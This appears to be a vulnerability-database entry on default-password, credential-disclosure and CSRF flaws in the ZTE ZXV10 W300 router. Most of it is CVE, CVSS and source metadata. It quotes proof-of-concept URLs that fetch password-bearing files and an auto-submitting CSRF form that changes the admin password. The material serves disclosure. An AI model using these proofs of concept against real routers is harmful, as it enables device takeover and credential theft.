var-201407-0352
Vulnerability from variot
The ZTE ZXV10 W300 router with firmware W300V1.0.0a_ZRD_LK has a default password of admin for the admin account, which makes it easier for remote attackers to obtain access via unspecified vectors. The ZTE WXV10 W300 is a wireless router device. The ZTE WXV10 W300 default password is vulnerable. ZTE WXV10 W300 routers are prone to the following security vulnerabilities: 1. An insecure-default-password vulnerability. 2. Multiple information disclosure vulnerabilities. 3. A cross-site request-forgery vulnerability. This may aid in further attacks. A remote attacker could exploit this vulnerability to gain access. There is a disclosure in which anyone can download that file without any authentication by a simple GET request.
POC: http://192.168.1.1/rom-0
You can find the router password using my rom-0 configuration decompressor.
http://packetstormsecurity.com/files/127049/ZTE-TP-Link-ZynOS-Huawei-rom-0-Configuration-Decompressor.html
3| PPPoE/PPPoA Password Disclosure in tc2wanfun.js (CVE-2014-4154)
If you look at the frame source in the "Internet" tab under the "Interface Setup" you can see this doLoad function in line 542 which fetches the password and displays it there. The frame URI is /basic/home_wan.htm.
function doLoad() { var value = document.forms[0].wanTypeRadio[2].checked; doEnable(); QosCheck(); WANChkIdleTimeT(); if (value) pppStaticCheck(); LockWhenPVC0(); LockPVC(); if(document.forms[0].wan_PPPPassword != null) { document.forms[0].wan_PPPPassword.value = pwdppp; } }
The "pwdpp" is loaded from an external file which you can see at the bottom of the page.
Once the user authenticates the router till another successful restart the password is written in that external JS file.
POC: http://192.168.1.1/basic/tc2wanfun.js
4| Admin Password Manipulation CSRF (CVE-2014-4155)
You can change the password to blank by requesting /Forms/tools_admin_1 with a GET requesting containing HTTP basic authentication. POC:
If you send something like above to the victim, he will be prompted for the login and once he enter his credentials, his password will be immediately changed to a blank password. Ofcourse since there is no XSRF token in the request you change the password as you wish. POC:
document.exploit.submit();5| Denial of Service
You can see my previous post about this vulnerability and the exploit.
https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/ http://www.osvdb.org/show/osvdb/108076 http://packetstormsecurity.com/files/127076/ZTE-TP-Link-RomPager-Denial-Of-Service.html http://www.exploit-db.com/exploits/33737
Show details on source website{
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/VARIoTentry#",
"affected_products": {
"@id": "https://www.variotdbs.pl/ref/affected_products"
},
"configurations": {
"@id": "https://www.variotdbs.pl/ref/configurations"
},
"credits": {
"@id": "https://www.variotdbs.pl/ref/credits"
},
"cvss": {
"@id": "https://www.variotdbs.pl/ref/cvss/"
},
"description": {
"@id": "https://www.variotdbs.pl/ref/description/"
},
"exploit_availability": {
"@id": "https://www.variotdbs.pl/ref/exploit_availability/"
},
"external_ids": {
"@id": "https://www.variotdbs.pl/ref/external_ids/"
},
"iot": {
"@id": "https://www.variotdbs.pl/ref/iot/"
},
"iot_taxonomy": {
"@id": "https://www.variotdbs.pl/ref/iot_taxonomy/"
},
"patch": {
"@id": "https://www.variotdbs.pl/ref/patch/"
},
"problemtype_data": {
"@id": "https://www.variotdbs.pl/ref/problemtype_data/"
},
"references": {
"@id": "https://www.variotdbs.pl/ref/references/"
},
"sources": {
"@id": "https://www.variotdbs.pl/ref/sources/"
},
"sources_release_date": {
"@id": "https://www.variotdbs.pl/ref/sources_release_date/"
},
"sources_update_date": {
"@id": "https://www.variotdbs.pl/ref/sources_update_date/"
},
"threat_type": {
"@id": "https://www.variotdbs.pl/ref/threat_type/"
},
"title": {
"@id": "https://www.variotdbs.pl/ref/title/"
},
"type": {
"@id": "https://www.variotdbs.pl/ref/type/"
}
},
"@id": "https://www.variotdbs.pl/vuln/VAR-201407-0352",
"affected_products": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/affected_products#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"model": "zxv10 w300",
"scope": "eq",
"trust": 2.4,
"vendor": "zte",
"version": "1.0.0a_zrd_lk"
},
{
"model": "zxv10 w300",
"scope": "eq",
"trust": 1.0,
"vendor": "zte",
"version": null
},
{
"model": "zxv10 w300",
"scope": null,
"trust": 0.8,
"vendor": "zte",
"version": null
},
{
"model": "zxv10 w300 router v1.0.0a zrd lk",
"scope": null,
"trust": 0.6,
"vendor": "zte",
"version": null
},
{
"model": "wxv10 w300",
"scope": "eq",
"trust": 0.3,
"vendor": "zte",
"version": "0"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2014-03842"
},
{
"db": "BID",
"id": "68082"
},
{
"db": "JVNDB",
"id": "JVNDB-2014-003362"
},
{
"db": "CNNVD",
"id": "CNNVD-201407-360"
},
{
"db": "NVD",
"id": "CVE-2014-4018"
}
]
},
"configurations": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/configurations#",
"children": {
"@container": "@list"
},
"cpe_match": {
"@container": "@list"
},
"data": {
"@container": "@list"
},
"nodes": {
"@container": "@list"
}
},
"data": [
{
"CVE_data_version": "4.0",
"nodes": [
{
"cpe_match": [
{
"cpe22Uri": "cpe:/h:zte:zxv10_w300",
"vulnerable": true
},
{
"cpe22Uri": "cpe:/o:zte:zxv10_w300_firmware",
"vulnerable": true
}
],
"operator": "OR"
}
]
}
],
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2014-003362"
}
]
},
"credits": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/credits#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "Osanda Malith",
"sources": [
{
"db": "BID",
"id": "68082"
},
{
"db": "PACKETSTORM",
"id": "127129"
}
],
"trust": 0.4
},
"cve": "CVE-2014-4018",
"cvss": {
"@context": {
"cvssV2": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV2#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV2"
},
"cvssV3": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/cvss/cvssV3#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/cvssV3/"
},
"severity": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/cvss/severity#"
},
"@id": "https://www.variotdbs.pl/ref/cvss/severity"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
},
"@id": "https://www.variotdbs.pl/ref/sources"
}
},
"data": [
{
"cvssV2": [
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "nvd@nist.gov",
"availabilityImpact": "NONE",
"baseScore": 7.8,
"confidentialityImpact": "NONE",
"exploitabilityScore": 10.0,
"id": "CVE-2014-4018",
"impactScore": 6.9,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 1.8,
"vectorString": "AV:N/AC:L/Au:N/C:N/I:C/A:N",
"version": "2.0"
},
{
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "CNVD",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"exploitabilityScore": 8.6,
"id": "CNVD-2014-03842",
"impactScore": 6.4,
"integrityImpact": "PARTIAL",
"severity": "MEDIUM",
"trust": 0.6,
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
{
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"author": "VULHUB",
"availabilityImpact": "NONE",
"baseScore": 7.8,
"confidentialityImpact": "NONE",
"exploitabilityScore": 10.0,
"id": "VHN-71958",
"impactScore": 6.9,
"integrityImpact": "COMPLETE",
"severity": "HIGH",
"trust": 0.1,
"vectorString": "AV:N/AC:L/AU:N/C:N/I:C/A:N",
"version": "2.0"
}
],
"cvssV3": [],
"severity": [
{
"author": "nvd@nist.gov",
"id": "CVE-2014-4018",
"trust": 1.0,
"value": "HIGH"
},
{
"author": "NVD",
"id": "CVE-2014-4018",
"trust": 0.8,
"value": "High"
},
{
"author": "CNVD",
"id": "CNVD-2014-03842",
"trust": 0.6,
"value": "MEDIUM"
},
{
"author": "CNNVD",
"id": "CNNVD-201407-360",
"trust": 0.6,
"value": "HIGH"
},
{
"author": "VULHUB",
"id": "VHN-71958",
"trust": 0.1,
"value": "HIGH"
}
]
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2014-03842"
},
{
"db": "VULHUB",
"id": "VHN-71958"
},
{
"db": "JVNDB",
"id": "JVNDB-2014-003362"
},
{
"db": "CNNVD",
"id": "CNNVD-201407-360"
},
{
"db": "NVD",
"id": "CVE-2014-4018"
}
]
},
"description": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/description#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "The ZTE ZXV10 W300 router with firmware W300V1.0.0a_ZRD_LK has a default password of admin for the admin account, which makes it easier for remote attackers to obtain access via unspecified vectors. The ZTE WXV10 W300 is a wireless router device. The ZTE WXV10 W300 default password is vulnerable. ZTE WXV10 W300 routers are prone to the following security vulnerabilities:\n1. An insecure-default-password vulnerability. \n2. Multiple information disclosure vulnerabilities. \n3. A cross-site request-forgery vulnerability. This may aid in further attacks. A remote attacker could exploit this vulnerability to gain access. \nThere is a disclosure in which anyone can download that file without any authentication by a simple GET request. \n\nPOC:\nhttp://192.168.1.1/rom-0\n\nYou can find the router password using my rom-0 configuration decompressor. \nhttp://packetstormsecurity.com/files/127049/ZTE-TP-Link-ZynOS-Huawei-rom-0-Configuration-Decompressor.html\n\n#3| PPPoE/PPPoA Password Disclosure in tc2wanfun.js (CVE-2014-4154)\n---------------------------------------------------------------------\nIf you look at the frame source in the \"Internet\" tab under the \"Interface Setup\" you can see this doLoad function in line 542 which fetches the password and displays it there. The frame URI is /basic/home_wan.htm. \n\nfunction doLoad() {\n\tvar value = document.forms[0].wanTypeRadio[2].checked;\n\tdoEnable();\n\tQosCheck();\n\tWANChkIdleTimeT();\n\tif (value)\n\tpppStaticCheck();\n\tLockWhenPVC0();\n\tLockPVC();\n\tif(document.forms[0].wan_PPPPassword != null)\n\t{\n\t\tdocument.forms[0].wan_PPPPassword.value = pwdppp;\n\t}\n}\n\nThe \"pwdpp\" is loaded from an external file which you can see at the bottom of the page. \n\u003cscript language=\"javascript\" src=\"/basic/tc2wanfun.js\"\u003e\u003c/script\u003e\nOnce the user authenticates the router till another successful restart the password is written in that external JS file. \n\nPOC:\nhttp://192.168.1.1/basic/tc2wanfun.js\n\n#4| Admin Password Manipulation CSRF (CVE-2014-4155)\n-----------------------------------------------------\nYou can change the password to blank by requesting /Forms/tools_admin_1 with a GET requesting containing HTTP basic authentication. \nPOC:\n\u003ciframe src=\"http://192.168.1.1/Forms/tools_admin_1\" width=\"0\" height=\"0\"\u003e\u003c/iframe\u003e\nIf you send something like above to the victim, he will be prompted for the login and once he enter his credentials, his password will be immediately changed to a blank password. \nOfcourse since there is no XSRF token in the request you change the password as you wish. \nPOC:\n\u003chtml\u003e\n \u003cbody\u003e\n \u003cform name=\"exploit\" action=\"http://192.168.1.1/Forms/tools_admin_1\" method=\"POST\"\u003e\n \u003cinput type=\"hidden\" name=\"uiViewTools\u0026#95;Password\" value=\"your_passwd\" /\u003e\n \u003cinput type=\"hidden\" name=\"uiViewTools\u0026#95;PasswordConfirm\" value=\"your_passwd\" /\u003e\n \u003cscript\u003edocument.exploit.submit(); \u003c/script\u003e\n \u003c/form\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n\n#5| Denial of Service\n-----------------------\nYou can see my previous post about this vulnerability and the exploit. \n\nhttps://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/\nhttp://www.osvdb.org/show/osvdb/108076\nhttp://packetstormsecurity.com/files/127076/ZTE-TP-Link-RomPager-Denial-Of-Service.html\nhttp://www.exploit-db.com/exploits/33737\n",
"sources": [
{
"db": "NVD",
"id": "CVE-2014-4018"
},
{
"db": "JVNDB",
"id": "JVNDB-2014-003362"
},
{
"db": "CNVD",
"id": "CNVD-2014-03842"
},
{
"db": "BID",
"id": "68082"
},
{
"db": "VULHUB",
"id": "VHN-71958"
},
{
"db": "PACKETSTORM",
"id": "127129"
}
],
"trust": 2.61
},
"exploit_availability": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/exploit_availability#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"reference": "https://www.scap.org.cn/vuln/vhn-71958",
"trust": 0.1,
"type": "unknown"
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-71958"
}
]
},
"external_ids": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/external_ids#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"db": "NVD",
"id": "CVE-2014-4018",
"trust": 3.5
},
{
"db": "PACKETSTORM",
"id": "127129",
"trust": 2.4
},
{
"db": "EXPLOIT-DB",
"id": "33803",
"trust": 1.7
},
{
"db": "BID",
"id": "68082",
"trust": 0.9
},
{
"db": "JVNDB",
"id": "JVNDB-2014-003362",
"trust": 0.8
},
{
"db": "CNVD",
"id": "CNVD-2014-03842",
"trust": 0.6
},
{
"db": "CNNVD",
"id": "CNNVD-201407-360",
"trust": 0.6
},
{
"db": "SEEBUG",
"id": "SSVID-86988",
"trust": 0.1
},
{
"db": "SEEBUG",
"id": "SSVID-89190",
"trust": 0.1
},
{
"db": "VULHUB",
"id": "VHN-71958",
"trust": 0.1
},
{
"db": "EXPLOIT-DB",
"id": "33737",
"trust": 0.1
},
{
"db": "OSVDB",
"id": "108076",
"trust": 0.1
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2014-03842"
},
{
"db": "VULHUB",
"id": "VHN-71958"
},
{
"db": "BID",
"id": "68082"
},
{
"db": "JVNDB",
"id": "JVNDB-2014-003362"
},
{
"db": "PACKETSTORM",
"id": "127129"
},
{
"db": "CNNVD",
"id": "CNNVD-201407-360"
},
{
"db": "NVD",
"id": "CVE-2014-4018"
}
]
},
"id": "VAR-201407-0352",
"iot": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": true,
"sources": [
{
"db": "CNVD",
"id": "CNVD-2014-03842"
},
{
"db": "VULHUB",
"id": "VHN-71958"
}
],
"trust": 1.7
},
"iot_taxonomy": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/iot_taxonomy#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"category": [
"Network device"
],
"sub_category": null,
"trust": 0.6
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2014-03842"
}
]
},
"last_update_date": "2024-11-23T21:55:20.066000Z",
"patch": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/patch#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"title": "ZXV10 W300S",
"trust": 0.8,
"url": "http://wwwen.zte.com.cn/en/products/access/cpe/201302/t20130204_386351.html"
},
{
"title": "ZTE WXV10 W300 default password vulnerability patch",
"trust": 0.6,
"url": "https://www.cnvd.org.cn/patchInfo/show/46655"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2014-03842"
},
{
"db": "JVNDB",
"id": "JVNDB-2014-003362"
}
]
},
"problemtype_data": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/problemtype_data#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"problemtype": "CWE-255",
"trust": 1.9
}
],
"sources": [
{
"db": "VULHUB",
"id": "VHN-71958"
},
{
"db": "JVNDB",
"id": "JVNDB-2014-003362"
},
{
"db": "NVD",
"id": "CVE-2014-4018"
}
]
},
"references": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/references#",
"data": {
"@container": "@list"
},
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": [
{
"trust": 2.5,
"url": "https://osandamalith.wordpress.com/2014/06/15/zte-wxv10-w300-multiple-vulnerabilities/"
},
{
"trust": 1.7,
"url": "http://www.exploit-db.com/exploits/33803"
},
{
"trust": 1.7,
"url": "http://packetstormsecurity.com/files/127129/zte-wxv10-w300-disclosure-csrf-default.html"
},
{
"trust": 0.8,
"url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-4018"
},
{
"trust": 0.8,
"url": "http://web.nvd.nist.gov/view/vuln/detail?vulnid=cve-2014-4018"
},
{
"trust": 0.6,
"url": "http://packetstormsecurity.com/files/127129/ztewxv10-defaultdisclosecsrfdos.txt"
},
{
"trust": 0.3,
"url": "http://wwwen.zte.com.cn/en/"
},
{
"trust": 0.1,
"url": "http://packetstormsecurity.com/files/127049/zte-tp-link-zynos-huawei-rom-0-configuration-decompressor.html"
},
{
"trust": 0.1,
"url": "http://192.168.1.1/basic/tc2wanfun.js"
},
{
"trust": 0.1,
"url": "http://192.168.1.1/rom-0"
},
{
"trust": 0.1,
"url": "http://packetstormsecurity.com/files/127076/zte-tp-link-rompager-denial-of-service.html"
},
{
"trust": 0.1,
"url": "http://www.osvdb.org/show/osvdb/108076"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2014-4154"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2014-4155"
},
{
"trust": 0.1,
"url": "https://osandamalith.wordpress.com/2014/06/10/zte-and-tp-link-rompager-dos/"
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2014-4019"
},
{
"trust": 0.1,
"url": "http://192.168.1.1/forms/tools_admin_1\""
},
{
"trust": 0.1,
"url": "https://nvd.nist.gov/vuln/detail/cve-2014-4018"
},
{
"trust": 0.1,
"url": "http://www.exploit-db.com/exploits/33737"
}
],
"sources": [
{
"db": "CNVD",
"id": "CNVD-2014-03842"
},
{
"db": "VULHUB",
"id": "VHN-71958"
},
{
"db": "BID",
"id": "68082"
},
{
"db": "JVNDB",
"id": "JVNDB-2014-003362"
},
{
"db": "PACKETSTORM",
"id": "127129"
},
{
"db": "CNNVD",
"id": "CNNVD-201407-360"
},
{
"db": "NVD",
"id": "CVE-2014-4018"
}
]
},
"sources": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#",
"data": {
"@container": "@list"
}
},
"data": [
{
"db": "CNVD",
"id": "CNVD-2014-03842"
},
{
"db": "VULHUB",
"id": "VHN-71958"
},
{
"db": "BID",
"id": "68082"
},
{
"db": "JVNDB",
"id": "JVNDB-2014-003362"
},
{
"db": "PACKETSTORM",
"id": "127129"
},
{
"db": "CNNVD",
"id": "CNNVD-201407-360"
},
{
"db": "NVD",
"id": "CVE-2014-4018"
}
]
},
"sources_release_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_release_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2014-06-24T00:00:00",
"db": "CNVD",
"id": "CNVD-2014-03842"
},
{
"date": "2014-07-16T00:00:00",
"db": "VULHUB",
"id": "VHN-71958"
},
{
"date": "2014-06-17T00:00:00",
"db": "BID",
"id": "68082"
},
{
"date": "2014-07-17T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2014-003362"
},
{
"date": "2014-06-17T23:04:35",
"db": "PACKETSTORM",
"id": "127129"
},
{
"date": "2014-07-17T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201407-360"
},
{
"date": "2014-07-16T14:19:03.823000",
"db": "NVD",
"id": "CVE-2014-4018"
}
]
},
"sources_update_date": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources_update_date#",
"data": {
"@container": "@list"
}
},
"data": [
{
"date": "2014-06-24T00:00:00",
"db": "CNVD",
"id": "CNVD-2014-03842"
},
{
"date": "2014-07-16T00:00:00",
"db": "VULHUB",
"id": "VHN-71958"
},
{
"date": "2014-06-17T00:00:00",
"db": "BID",
"id": "68082"
},
{
"date": "2014-07-17T00:00:00",
"db": "JVNDB",
"id": "JVNDB-2014-003362"
},
{
"date": "2014-07-17T00:00:00",
"db": "CNNVD",
"id": "CNNVD-201407-360"
},
{
"date": "2024-11-21T02:09:20.710000",
"db": "NVD",
"id": "CVE-2014-4018"
}
]
},
"threat_type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/threat_type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "remote",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201407-360"
}
],
"trust": 0.6
},
"title": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/title#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "ZTE ZXV10 W300 Vulnerability to gain access rights in router firmware",
"sources": [
{
"db": "JVNDB",
"id": "JVNDB-2014-003362"
}
],
"trust": 0.8
},
"type": {
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/type#",
"sources": {
"@container": "@list",
"@context": {
"@vocab": "https://www.variotdbs.pl/ref/sources#"
}
}
},
"data": "trust management",
"sources": [
{
"db": "CNNVD",
"id": "CNNVD-201407-360"
}
],
"trust": 0.6
}
}
Loading…
Loading…
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.
Loading…
Loading…